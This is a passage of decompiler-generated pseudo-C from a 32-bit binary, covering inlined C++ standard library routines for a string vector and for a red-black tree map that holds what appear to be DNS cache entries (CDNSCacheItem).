struct_12 * a1, int32_t * a2, int32_t * a3) { struct struct_3 * v1 = NULL; // bp-45 struct struct_3 * v2 = NULL; // bp-37 struct struct_3 * v3 = NULL; // bp-29 struct struct_10 * v4 = NULL; int32_t v5 = g101; // 0x8057bff int32_t v6 = g98; // 0x8057c00 int32_t * v7; // 0x8058079_11 if (a1->e1 == a1->e2) { int32_t v8 = std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___size(&a1->e0); // 0x8057d0d struct struct_10 * v9 = (struct struct_10 *)v8; // bp-20 std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___max_size(); int32_t * v10; int32_t v11; std____throw_length_error("vector::_M_insert_aux", v11, 0, (int32_t)v10); struct struct_10 * v12 = NULL; // 0x8057d5d_0 struct struct_10 * v13 = (struct struct_10 *)1; if (v9 != NULL) { // 0x8057d43 v12 = v9; v13 = (struct struct_10 *)(2 * (int32_t)v9); // branch -> 0x8057d54 } struct struct_10 * v14 = v13; // bp-16 struct struct_10 * v15 = v13; // 0x8057d79_0 if (v13 < v12) { // 0x8057d62 std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___max_size(); v14 = (struct struct_10 *)0x3fffffff; v15 = (struct struct_10 *)0x3fffffff; // branch -> 0x8057d73 } // 0x8057d73 int32_t * v16; __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(v16, (int32_t *)std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____M_allocate((int32_t *)a1, v15)); std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___get_allocator(v1, (int32_t *)a1); g98 = (int32_t)v16; g101 = (int32_t)a2; int32_t * v17; __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(v17, (int32_t *)a1); int32_t ** v18; std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__string_gt_(v18, v17, (struct struct_10 *)g101, (int32_t *)g98); std__allocator_lt_std__string_gt_(&v1->e0); __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base((int32_t *)v18); __gnu_cxx____mt_alloc_base_lt_std__string_gt___construct((int32_t *)a1, (int32_t *)v4); __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator__((int32_t *)v18); std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___get_allocator(v2, (int32_t *)a1); g98 = (int32_t)v18; int32_t * v19; __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(v19, (int32_t *)((int32_t)a1 + 4)); int32_t ** v20; std____uninitialized_copy_a_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__string_gt_(v20, a2, (struct struct_10 *)v19, (int32_t *)g98); std__allocator_lt_std__string_gt_(&v2->e0); std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___get_allocator(v3, (int32_t *)a1); int32_t * v21; std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___end_107(v21, (int32_t)a1); int32_t * v22; std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___begin_19(v22, (int32_t *)a1); std___Destroy_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma__std__allocator_lt_std__string_gt___gt_(v22); std__allocator_lt_std__string_gt_(&v3->e0); int32_t v23 = ((int32_t)a1->e2 - *(int32_t *)a1) / 4; // 0x805800c int32_t v24 = *(int32_t *)a1; // 0x8058014 g96 = (int32_t)a1; std___Vector_base_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____M_deallocate((int32_t *)a1, (int32_t *)v24, (int32_t *)v23); __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(v16); a1->e0 = (int32_t *)v4; __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base((int32_t *)v20); a1->e1 = (int32_t *)v4; __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___base(v16); *(int32_t *)((int32_t)a1 + 8) = 4 * (int32_t)v14 + (int32_t)v4; v7 = (int32_t *)a1; // branch -> 0x8058073 } else { // 0x8057c18 __gnu_cxx____mt_alloc_base_lt_std__string_gt___construct((int32_t *)a1, a1->e1); a1->e1 = (int32_t *)((int32_t)a1->e1 + 4); int32_t v25; std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__636(&v25, a3); int32_t * v26 = a1->e1; // 0x8057c5c int32_t * v27; __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(v27, (int32_t *)((int32_t)v26 - 4)); int32_t * v28 = a1->e1; // 0x8057c7b int32_t * v29; __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt_(v29, (int32_t *)((int32_t)v28 - 8)); int32_t ** v30; std__copy_backward_lt___gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt__comma____gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___gt_(v30, a2, v29, v27); __gnu_cxx____normal_iterator_lt_std__string__ptr__comma__std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___gt___operator_ptr_(a2); std__string__operator_eq__675(); int32_t v31 = std__basic_string_lt_char_comma__std__char_traits_lt_char_gt__comma__std__allocator_lt_char_gt___gt__666((int32_t **)&v25); // 0x8057cfa v7 = (int32_t *)v31; // branch -> 0x8058073 } // 0x8058073 g98 = v6; g101 = v5; return (int32_t)v7; } // Address range: 0x805807a - 0x80580e7 int32_t std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___push_back(int32_t * a1, int32_t * a2) { int32_t v1 = (int32_t)a1; // 0x8058080 int32_t * v2 = (int32_t *)(v1 + 4); // 0x8058083_0 int32_t * v3; // 0x80580de_5 if (*v2 == *(int32_t *)(v1 + 8)) { // 0x80580ba int32_t * v4; std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt___end_107(v4, v1); v3 = (int32_t *)std__vector_lt_std__string_comma__std__allocator_lt_std__string_gt___gt____M_insert_aux((struct struct_12 *)a1, v4, a2); // branch -> 0x80580e6 } else { // 0x8058090 __gnu_cxx____mt_alloc_base_lt_std__string_gt___construct(a1, (int32_t *)*v2); *v2 = *v2 + 4; v3 = a1; // branch -> 0x80580e6 } // 0x80580e6 return (int32_t)v3; } // Address range: 0x80580e8 - 0x80580f1 int32_t __gnu_cxx____mt_alloc_base_lt_std___Rb_tree_node_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___max_size(void) { // 0x80580e8 return 0x71c71c7; } // Address range: 0x80580f2 - 0x8058239 int32_t __gnu_cxx____mt_alloc_lt_std___Rb_tree_node_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(int32_t * a1, uint32_t a2) { // 0x80580f2 __gnu_cxx____mt_alloc_base_lt_std___Rb_tree_node_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___max_size(); g95 = a2 > 0x71c71c7 != false; if (a2 > 0x71c71c7 != false) { // 0x8058119 std____throw_bad_alloc(); // branch -> 0x805811e } // 0x805811e int32_t v1; __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_initialize_once(v1); __gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt____S_get_pool(); int32_t v2 = 36 * a2; // 0x8058135 int32_t * v3 = (int32_t *)v2; // 0x8058138_0 int32_t result; if (__gnu_cxx____pool_base___M_check_threshold((int32_t *)0x8132c20, v3) != 0) { // 0x8058151 int32_t * v4; result = _Znwj(v2, v2, (int32_t)v4); // branch -> 0x8058234 // 0x8058234 return result; } int32_t v5 = __gnu_cxx____pool_base___M_get_binmap((int32_t *)0x8132c20, v3); // 0x8058177 int32_t v6 = __gnu_cxx____pool_lt_true_gt____M_get_thread_id((int32_t *)0x8132c20); // 0x8058188 int32_t ** v7 = (int32_t **)__gnu_cxx____pool_lt_true_gt____M_get_bin((int32_t *)0x8132c20, (int32_t *)v5); // 0x805819c_4 int32_t * v8 = *v7; // 0x80581b5 if (((int32_t)(v8 == NULL) || (int32_t)v8 & -256) == 1) { // 0x8058217 result = __gnu_cxx____pool_lt_true_gt____M_reserve_block((struct struct_88 *)0x8132c20, v2, v6); // branch -> 0x8058234 } else { int32_t * v9 = *v7; // 0x80581ce *v7 = (int32_t *)*v9; __gnu_cxx____pool_lt_true_gt____M_adjust_freelist((int32_t *)0x8132c20, *v7, v9); int32_t v10 = __gnu_cxx____pool_base___M_get_align((int32_t *)0x8132c20) + (int32_t)v9; // 0x805820f result = v10; // branch -> 0x8058234 } // 0x8058234 return result; } // Address range: 0x805823a - 0x8058255 int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_get_node(int32_t * a1) { // 0x805823a return __gnu_cxx____mt_alloc_lt_std___Rb_tree_node_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma____gnu_cxx____common_pool_policy_lt___gnu_cxx____pool_comma__true_gt___gt___allocate(a1, 1); } // Address range: 0x8058256 - 0x8058311 int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_create_node(int32_t * a1, int32_t * a2) { int32_t v1 = g98; // 0x8058259 int32_t result = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_get_node(a1); // 0x8058263 g98 = result + 16; int32_t v2; std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___get_allocator(v2, a1); __gnu_cxx____mt_alloc_base_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___construct(v2, (int32_t *)g98); std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt_(v2); g98 = v1; return result; } // Address range: 0x8058312 - 0x80583cf int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_insert(int32_t * a1, int32_t * a2, int32_t * a3, int32_t * a4, int32_t * a5) { // 0x8058312 int32_t * v1; // 0x80583ab_0 int32_t v2; // 0x8058382 int32_t v3; // 0x805838d if (a3 != NULL) { // 0x8058373 v2 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_create_node(a2, a5); v3 = (int32_t)a2; std___Rb_tree_insert_and_rebalance((int32_t **)1, (struct struct_96 *)v2, a4, (struct struct_94 *)(v3 + 4)); v1 = (int32_t *)(v3 + 20); *v1 = *v1 + 1; std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt_((int32_t **)a1, (int32_t *)v2); return (int32_t)a1; } // 0x805831f int32_t v4; if ((int32_t *)std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_end(a2) != a4) { // 0x8058332 g98 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_key_123((int32_t)a4); int32_t v5; int32_t v6 = std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_lb__rb_(v5); // 0x805834c v4 = std__less_lt_std__string_gt___operator_lb__rb_(a2, (int32_t *)v6) != 0; // branch -> 0x8058373 } else { v4 = 1; } // 0x8058373 v2 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_create_node(a2, a5); v3 = (int32_t)a2; std___Rb_tree_insert_and_rebalance((int32_t **)v4, (struct struct_96 *)v2, a4, (struct struct_94 *)(v3 + 4)); v1 = (int32_t *)(v3 + 20); *v1 = *v1 + 1; std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt_((int32_t **)a1, (int32_t *)v2); return (int32_t)a1; } // Address range: 0x80583d2 - 0x80585a9 int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___insert_unique(int32_t * a1, int32_t * a2, int32_t * a3) { int32_t v1 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_begin(a2); // 0x80583df int32_t * v2 = (int32_t *)std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_end(a2); // 0x80583f0_3 bool v3 = false; if (v1 != 0) { // branch -> 0x8058401 char v4; // 0x805843a int32_t * v5; // 0x0111 while (true) { // 0x8058401 v5 = (int32_t *)v1; g98 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_key(v5); int32_t v6; uint32_t v7 = std__less_lt_std__string_gt___operator_lb__rb_(a2, (int32_t *)std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_lb__rb_(v6)); // 0x8058432 v4 = v7; int32_t v8; if (v7 % 256 == 0) { // 0x8058457 v8 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_right(v5); // branch -> 0x8058469 } else { // 0x8058443 v8 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_left(v5); // branch -> 0x8058469 } // 0x8058469 if (v8 == 0) { // break -> 0x8058475 break; } v1 = v8; // continue -> 0x8058401 } // 0x8058475 v2 = v5; v3 = v4 == 0; // branch -> 0x8058475 } // 0x8058475 int32_t ** v9; std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt_(v9, v2); int32_t v10; // 0x805851b int32_t v11; // 0x805852c int32_t v12; int32_t * v13; if (v3) { // 0x8058511 v10 = std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_lb__rb_(v12); g98 = v10; v11 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_key_123((int32_t)v9); if (std__less_lt_std__string_gt___operator_lb__rb_(a2, (int32_t *)v11) == 0) { // 0x8058588 std__pair_lt_std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__bool_gt_(a1, (int32_t *)v9, (char *)g2); // branch -> 0x80585a2 } else { // 0x8058549 std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_insert(v13, a2, NULL, v2, a3); std__pair_lt_std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__bool_gt_(a1, v13, (char *)1); // branch -> 0x80585a2 } // 0x80585a2 return (int32_t)a1; } // 0x8058491 int32_t ** v14; std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___begin(v14, a2); if (std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_eq__eq_((int32_t *)v9, (int32_t *)v14) != 0) { // 0x80584c0 int32_t * v15; std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_insert(v15, a2, NULL, v2, a3); std__pair_lt_std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__bool_gt_(a1, v15, (char *)1); // branch -> 0x80585a2 // 0x80585a2 return (int32_t)a1; } // 0x8058502 std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator___133((int32_t *)v9); // branch -> 0x8058511 // 0x8058511 v10 = std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_lb__rb_(v12); g98 = v10; v11 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_key_123((int32_t)v9); if (std__less_lt_std__string_gt___operator_lb__rb_(a2, (int32_t *)v11) == 0) { // 0x8058588 std__pair_lt_std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__bool_gt_(a1, (int32_t *)v9, (char *)g2); // branch -> 0x80585a2 } else { // 0x8058549 std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_insert(v13, a2, NULL, v2, a3); std__pair_lt_std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__bool_gt_(a1, v13, (char *)1); // branch -> 0x80585a2 } // 0x80585a2 return (int32_t)a1; } // Address range: 0x80585ac - 0x80587f5 int32_t std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___insert_unique_139(int32_t ** a1, int32_t * a2, int32_t * a3, int32_t * a4) { int32_t v1 = g98; // 0x80585af int32_t v2 = (int32_t)a3; // 0x80585b3 g98 = v2; int32_t v3 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_end(a2); // 0x80585bc int32_t v4 = v3; char v5 = 1; if (g98 != v3) { // 0x80585c8 g98 = v2; int32_t v6 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_rightmost(a2); // 0x80585d1 int32_t v7 = *(int32_t *)v6; // 0x80585d9 v4 = v7; v5 = g98 == v7; // branch -> 0x80585e9 } // 0x80585e9 if (((int32_t)v5 || v4 & -256) != 0) { // 0x80585f4 char v8; int32_t v9; // 0x80586585 if (std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___size(a2) == 0) { // 0x8058654 v9 = 0; v8 = 0; // branch -> 0x8058658 } else { // 0x8058606 int32_t v10; g98 = std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_lb__rb_(v10); std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_rightmost(a2); int32_t * v11; int32_t v12 = std__less_lt_std__string_gt___operator_lb__rb_(a2, (int32_t *)std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_key_123((int32_t)v11)); // 0x805863f int32_t v13 = v12 ^ 1; // 0x8058647 if (v12 != 1) { // 0x8058654 v9 = v13; v8 = 0; // branch -> 0x8058658 } else { v9 = v13; v8 = 1; } } // 0x8058658 if (((int32_t)v8 || v9 & -256) == 0) { // 0x8058694 int32_t * v14; std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___insert_unique(v14, a2, a4); *a1 = v14; // branch -> 0x80587eb } else { int32_t v15 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_rightmost(a2); // 0x8058665 int32_t v16 = *(int32_t *)v15; // 0x805866d int32_t * v17; std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____M_insert(v17, a2, &g2->e0, (int32_t *)v16, a4); *a1 = v17; // branch -> 0x80587eb } // 0x80587eb g98 = v1; return (int32_t)a1; } // 0x80586c2 std___Rb_tree_iterator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator__(a3); int32_t v18; g98 = std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_lb__rb_(v18); int32_t v19 = std__less_lt_std__string_gt___operator_lb__rb_(a2, (int32_t *)std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_key_123(v2)); // 0x8058703 char v20; int32_t v21; // 0x8058757 if (v19 == 1) { // 0x8058712 g98 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_key_123(v2); int32_t v22; int32_t v23 = std__less_lt_std__string_gt___operator_lb__rb_(a2, (int32_t *)std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___operator_lb__rb_(v22)); // 0x805873e int32_t v24 = v23 ^ 1; // 0x8058746 if (v23 != 1) { // 0x8058753 v21 = v24; v20 = 0; // branch -> 0x8058757 } else { v21 = v24; v20 = 1; } } else { // 0x8058753 v21 = v19 ^ 1; v20 = 0; // branch -> 0x8058757 } // 0x8058757 if (((int32_t)v20 || v21 & -256) == 0) { // 0x80587c2 int32_t * v25; std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt___insert_unique(v25, a2, a4); *a1 = v25; // branch -> 0x80587eb // 0x80587eb g98 = v1; return (int32_t)a1; } int32_t v26 = std___Rb_tree_lt_std__string_comma__std__pair_lt_std__string_const_comma__CDNSCacheItem_gt__comma__std___Select1st_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt__comma__std__less_lt_std__string_gt__comma__std__allocator_lt_std__pair_lt_std__string_const_comma__CDNSCacheItem_gt___gt___gt____S_right(a3); // 0x8058765 if (((int32_t)(v26 == 0) || v26 & -256) == 0) { // 0x805879b int32_t * v27; 